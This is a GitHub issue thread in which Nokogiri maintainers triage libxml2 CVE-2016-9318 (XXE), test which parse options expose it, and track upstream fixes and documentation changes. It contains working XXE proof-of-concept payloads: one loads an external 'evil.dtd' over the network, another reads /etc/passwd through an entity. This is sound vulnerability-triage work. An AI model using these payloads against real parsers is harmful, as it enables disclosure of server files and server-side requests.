nokogiri icon indicating copy to clipboard operation
nokogiri copied to clipboard

libxml 2.9.{4,5,...} is vulnerable to CVE-2016-9318

Open flavorjones opened this issue 7 years ago • 24 comments

Credit for reporting this vulnerability to Nokogiri Core goes to Danny Grander [email protected], @grnd. Thanks, Danny!

This issue is being opened for nokogiri core to triage this vulnerability within the context of Nokogiri.


Triage summary:

Applications using Nokogiri 1.5.4 (circa June 2012) and later are not vulnerable to this CVE unless opting into the DTDLOAD option and opting out of the NONET option.

Note that by default, Nokogiri turns off both DTD loading and network access, treating all docs as untrusted docs. This behavior is independent of the version of libxml2 used.

Also note that an upstream fix is not available from libxml2 upstream as of 2017-11-13.

flavorjones avatar Jan 11 '17 21:01 flavorjones

CVE-2016-9318 resources

For the libxml2 vulnerability:

  • Mitre: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-9318
  • NVD:
    • https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-9318
    • CVSS v3 base score: 7.8 High
  • Security Focus: http://www.securityfocus.com/bid/94347
  • RedHat:
  • Canonical:
    • https://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-9318.html
  • Upstream
    • libxml2: https://bugzilla.gnome.org/show_bug.cgi?id=772726
    • xmlsec: https://github.com/lsh123/xmlsec/issues/43

flavorjones avatar Jan 11 '17 21:01 flavorjones

attempt 1 to exploit: default Nokogiri parse options

In a console window, start up netcat listening on port 8080:

$ nc -l 0.0.0.0 8080

Then, in a second console windows, run this Ruby script:

#! /usr/bin/env ruby

require 'nokogiri'
require 'yaml'

puts Nokogiri::VERSION_INFO.to_yaml

xml = <<-EOX
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://0.0.0.0:8080/evil.dtd"> %remote;]>
EOX

doc = Nokogiri::XML(xml)
puts "--- xml: ---"
puts doc.to_xml
puts "--- errors: ---"
puts doc.errors

Output from ruby script:

---
warnings: []
nokogiri: 1.7.0.1
ruby:
  version: 2.4.0
  platform: x86_64-linux
  description: ruby 2.4.0p0 (2016-12-24 revision 57164) [x86_64-linux]
  engine: ruby
libxml:
  binding: extension
  source: packaged
  libxml2_path: "/home/flavorjones/.rvm/gems/ruby-2.4.0/gems/nokogiri-1.7.0.1/ports/x86_64-pc-linux-gnu/libxml2/2.9.4"
  libxslt_path: "/home/flavorjones/.rvm/gems/ruby-2.4.0/gems/nokogiri-1.7.0.1/ports/x86_64-pc-linux-gnu/libxslt/1.1.29"
  libxml2_patches: []
  libxslt_patches: []
  compiled: 2.9.4
  loaded: 2.9.4
--- xml: ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://0.0.0.0:8080/evil.dtd">
]>
--- errors: ---
Start tag expected, '<' not found

Output from netcat: nothing

conclusion for default parse options

With default parse options, Nokogiri does not expose this libxml2 vulnerability.

flavorjones avatar Jan 11 '17 21:01 flavorjones

attempt 2 to exploit: opt into DTD loading

Here we'll opt into the DTDLOAD parse option:

#! /usr/bin/env ruby

require 'nokogiri'
require 'yaml'

puts Nokogiri::VERSION_INFO.to_yaml

xml = <<-EOX
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://0.0.0.0:8080/evil.dtd"> %remote;]>
EOX

doc = Nokogiri::XML(xml) do |config|
  config.dtdload
end

puts "--- xml: ---"
puts doc.to_xml
puts "--- errors: ---"
puts doc.errors

Output from ruby:

---
warnings: []
nokogiri: 1.7.0.1
ruby:
  version: 2.4.0
  platform: x86_64-linux
  description: ruby 2.4.0p0 (2016-12-24 revision 57164) [x86_64-linux]
  engine: ruby
libxml:
  binding: extension
  source: packaged
  libxml2_path: "/home/flavorjones/.rvm/gems/ruby-2.4.0/gems/nokogiri-1.7.0.1/ports/x86_64-pc-linux-gnu/libxml2/2.9.4"
  libxslt_path: "/home/flavorjones/.rvm/gems/ruby-2.4.0/gems/nokogiri-1.7.0.1/ports/x86_64-pc-linux-gnu/libxslt/1.1.29"
  libxml2_patches: []
  libxslt_patches: []
  compiled: 2.9.4
  loaded: 2.9.4
--- xml: ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://0.0.0.0:8080/evil.dtd">
]>
--- errors: ---
Attempt to load network entity http://0.0.0.0:8080/evil.dtd
Start tag expected, '<' not found

conclusion for opting into DTD loading

Note that we see a parse error saying an attempt was made to load a network entity; however, netcat again shows no output, and thus we can conclude that no network connection was made.

flavorjones avatar Jan 11 '17 21:01 flavorjones

attempt 3 to exploit: opt into DTD loading and network access

Here we'll opt into the DTDLOAD parse option as well as turn off the NONET option (which is set by default by Nokogiri for XML documents).

(This is a confusing option; the name of the option is "nonet", and we prefix it with "no" to flip it off, hence nononet).

...

doc = Nokogiri::XML(xml) do |config|
  config.dtdload.nononet
end

...

This time, however, we can see that netcat accepts a connection:

$ nc -l 0.0.0.0 8080
GET /evil.dtd HTTP/1.0
Host: 0.0.0.0:8080
Accept-Encoding: gzip

Terminating the netcat process allows the Ruby process to complete.

conclusion for opting into both DTD loading and network access

Only with both of these options being opted into would an application using Nokogiri be vulnerable to this CVE.

flavorjones avatar Jan 11 '17 21:01 flavorjones

triage summary

The TL;DR is that, because Nokogiri does not load DTDs by default, and also does not access the network by default, any application using Nokogiri would need to opt into both of these options in order to be vulnerable.

We do note in our docs that the "NONET" option shouldn't be turned off unless trusted documents are being parsed; but we could do a better job of communicating the risks associated with hitting the network. I'd love to hear any thoughts y'all might have about how to articulate that more clearly. For example, I've opened #1583 to clarify documentation of XML::Document around the default options and untrusted documents.

In the meantime, it does not look like there's an upstream fix committed yet; though I do see a couple of patches are being debated on the libxml2 bugzilla ticket. When a patch is available upstream, we'll evaluate next steps. One option might be to pull in that specific commit as a patch within Nokogiri (and potentially make library changes should any behavior changes be required (like a new libxml2 parse option)).

flavorjones avatar Jan 11 '17 22:01 flavorjones

Just checked, no movement upstream yet.

flavorjones avatar Mar 17 '17 04:03 flavorjones

Checked again, no upstream commit yet.

flavorjones avatar May 10 '17 05:05 flavorjones

Checked upstream again, there was a commit made to try to address this:

commit 2304078
Author: Doran Moppert <[email protected]>
Date:   Fri Apr 7 16:45:56 2017 +0200

    Add an XML_PARSE_NOXXE flag to block all entities loading even local
    
    For https://bugzilla.gnome.org/show_bug.cgi?id=772726
    
    * include/libxml/parser.h: Add a new parser flag XML_PARSE_NOXXE
    * elfgcchack.h, xmlIO.h, xmlIO.c: associated loading routine
    * include/libxml/xmlerror.h: new error raised
    * xmllint.c: adds --noxxe flag to activate the option

but it was reverted:

commit 030b1f7
Author: Nick Wellnhofer <[email protected]>
Date:   Tue Jun 6 15:53:42 2017 +0200

    Revert "Add an XML_PARSE_NOXXE flag to block all entities loading even local"
    
    This reverts commit 2304078555896cf1638c628f50326aeef6f0e0d0.
    
    The new flag doesn't work and the change even broke the XML_PARSE_NONET
    option.

and there isn't an obvious upstream commit addressing it at this point.

flavorjones avatar Sep 14 '17 14:09 flavorjones

Just checked upstream again, and there still doesn't seem to be a fix addressing this underlying CVE.

flavorjones avatar Nov 13 '17 15:11 flavorjones

Hey, this issue got a prominent mention in https://snyk.io/stateofossecurity/. Hello, world.

The snyk report says "until libxml2 addresses the issue, Nokogiri will remain vulnerable", but I think this misses the nuance that Nokogiri's defaults are secure; the software using Nokogiri is only vulnerable if users specifically opt into two different options in combination.

Lots more detail above for those who are interested.

flavorjones avatar Nov 16 '17 23:11 flavorjones

Thanks for your continued work on this, Mike. I don’t fully understand the issue, but is there a way to get Nokogiri to look out for that specific configuration, ignore it, and raise a warning about the CVE?

joeldrapper avatar Nov 17 '17 10:11 joeldrapper

@joeldrapper great question.

A brief explanation of the general class of vulnerabilities known as "XXE" can be found here in the OWASP wiki. Key summary (emphasis is from the original):

An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

In other words, if you tell libxml2 it's OK to download and parse arbitrary documents from the internet, bad things are going to happen.

Note that this is a configuration that must be opted-into. For trusted documents, it's very reasonable to want to load external DTDs and go over the network to do so. These are features that are built into libxml2 and Nokogiri for very good reasons; they're just features that shouldn't be run on untrusted documents. So, we can't ignore those options without breaking trusted-document use cases.

We could emit a warning, but there are people who go crazy about seeing "unnecessary" output from a library, which means then we would need to provide a mechanism for shushing Nokogiri ... I'm hesitant to go down this path without some very compelling reasons.

flavorjones avatar Nov 20 '17 13:11 flavorjones

Any update on the upstream bug? I got the message: "You are not authorized to access bug #772726." Was it deleted or do I just not have access?

jpgrace avatar Feb 07 '18 18:02 jpgrace

Looks like there may be a fix here: https://github.com/GNOME/libxml2/commit/ad88b54f1a28a8565964a370b5d387927b633c0d

But it's only released in an RC, and I'm not sure if it's a full fix. I also can't access the original bugzilla issue and get the same "You are not authorized" message. Seems like maybe they made the issue private?

Regardless, Nokogiri isn't vulnerable by default so that's good.

tenderlove avatar Feb 20 '18 18:02 tenderlove

I see from the Releases of libxml2 that 2.9.8 have been released already. Not sure if I'm understanding it correctly but does this mean that the upstream bug has already been fixed?

ronaldsalas avatar May 09 '18 10:05 ronaldsalas

is the CVE-2016-9318 fixed in libxml 2.9.7

sahuabhilash avatar May 11 '18 07:05 sahuabhilash

I don't believe libxml2 2.9.8 offers a fix out of the box. The fix mentioned by @tenderlove earlier in this comment only fixes libxml2 when is used in conjunction with xmlsec. After checking xmlsec source code it looks like the only thing that it does it to setup an external entity:

static xmlParserInputPtr
xmlSecNoXxeExternalEntityLoader(const char *URL, const char *ID,
                          xmlParserCtxtPtr ctxt) {
    if (ctxt == NULL) {
        return(NULL);
    }
    if (ctxt->input_id == 1) {
        return xmlSecDefaultExternalEntityLoader((const char *) URL, ID, ctxt);
    }
    xmlSecXmlError2("xmlSecNoXxeExternalEntityLoader", NULL,
                    "illegal external entity='%s'", xmlSecErrorsSafeString(URL));
    return(NULL);
}

We can add our own loader to nokogiri if required using xmlGetExternalEntityLoader and xmlSetExternalEntityLoader

jvshahid avatar May 13 '18 12:05 jvshahid

@flavorjones following up on your earlier comment. I looked into this more and it looks like opting into NOENT alone could cause some local file injection, e.g.:

#! /usr/bin/env ruby

require 'nokogiri'
require 'yaml'

puts Nokogiri::VERSION_INFO.to_yaml

xml = <<-EOX
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>
EOX

doc = Nokogiri::XML(xml) do |config|
  config.noent
end

puts "--- xml: ---"
puts doc.to_xml
puts "--- errors: ---"
puts doc.errors

jvshahid avatar May 13 '18 14:05 jvshahid

@jvshahid ok, but nokogiri is still secure "by default" against this flavor of XXE as well. question for you (any anyone else lurking) is what's actionable? do you feel that we need to update docs to include this fact as well?

historical note, here's the docs update I made which was referenced earlier in this issue's lengthy history: https://github.com/sparklemotion/nokogiri/commit/3b9d2ff29295a474d47603350b34a92ac6140925

flavorjones avatar May 13 '18 18:05 flavorjones

I just wanted to point out that enabling entity expansion/loading (even with NONET turned on) can lead to XXE. We can address that by doing one of the following:

  1. discourage the use of entity expansion in the docs, i.e. disabling NOENT is a security risk while handling untrusted XML documents
  2. disable all external access not just network access if NONET is turned on. This can be achieved by using our own entity loader similar to what xmlsec is doing.
  3. introduce another option to disable external entity loading and use a custom entity loader if this option is set. We would also turn it on by default.

jvshahid avatar May 13 '18 21:05 jvshahid

@pascalandy The version of nokogiri scanned appears to be v1.6.1 which was released on 2013-12-14; and the CVE for which this issue exists is not mentioned. Can you please help me understand why you posted this security scan here?

flavorjones avatar Jul 22 '19 20:07 flavorjones

You are right. It does not make sense. I didn't check which version this software was at. I'll delete my comment.

pascalandy avatar Jul 23 '19 01:07 pascalandy

Hi everybody who's following this issue! This issue came up in a conversation in https://github.com/flavorjones/loofah/issues/140 and so I wanted to close the loop here.

As mentioned above, libxml2 2.9.8 addressed the underlying CVE that this issue was created to track in Nokogiri.

libxml2 2.9.8 was pulled into Nokogiri in commit b28c5f4 which was rolled into Nokogiri v1.8.3.

So, for many of you who are using "security scanners," the version of libxml2 in v1.8.3 and later technically addresses the CVE and you should be green now.

However, as @jvshahid brings up in https://github.com/sparklemotion/nokogiri/issues/1582#issuecomment-388655988 we should probably similarly document that NOENT is a security risk when parsing untrusted documents. I'd like to proceed as follows:

  • create a new issue for documenting NOENT, which can be resolved easily
  • create a second new issue to solicit input about which of the options listed in @jvshahid's comment is the better path forward (or if both are unnecessary) to deal with NOENT being set on untrusted docs.

Thoughts? I'll move forward with this plan in a few days unless I hear compelling objections or other ideas.

flavorjones avatar Oct 03 '19 01:10 flavorjones

Two more notes:

First, a link to OWASP's cheat sheet on securing against XXE: https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#libxml2

To save you a click, it says:

The Enum xmlParserOption should not have the following options defined:

* XML_PARSE_NOENT: Expands entities and substitutes them with replacement text
* XML_PARSE_DTDLOAD: Load the external DTD

Second, a link to a whitepaper on entity attacks: https://www.vsecurity.com//download/papers/XMLDTDEntityAttacks.pdf

Specifically, this section notes how confusing the NOENT option is (relevant sentence highlighted):

image

flavorjones avatar Dec 05 '19 15:12 flavorjones

#2653 has been created to document NOENT more clearly and generally improve the state of ParseOptions documentation.

flavorjones avatar Sep 28 '22 13:09 flavorjones

I've created draft PR #2654 to explore using a "noxxe" entity loader when NONET is set.

flavorjones avatar Sep 28 '22 16:09 flavorjones

Closing this issue out, finally, now that the two final action items have been started under other issues.

flavorjones avatar Sep 28 '22 16:09 flavorjones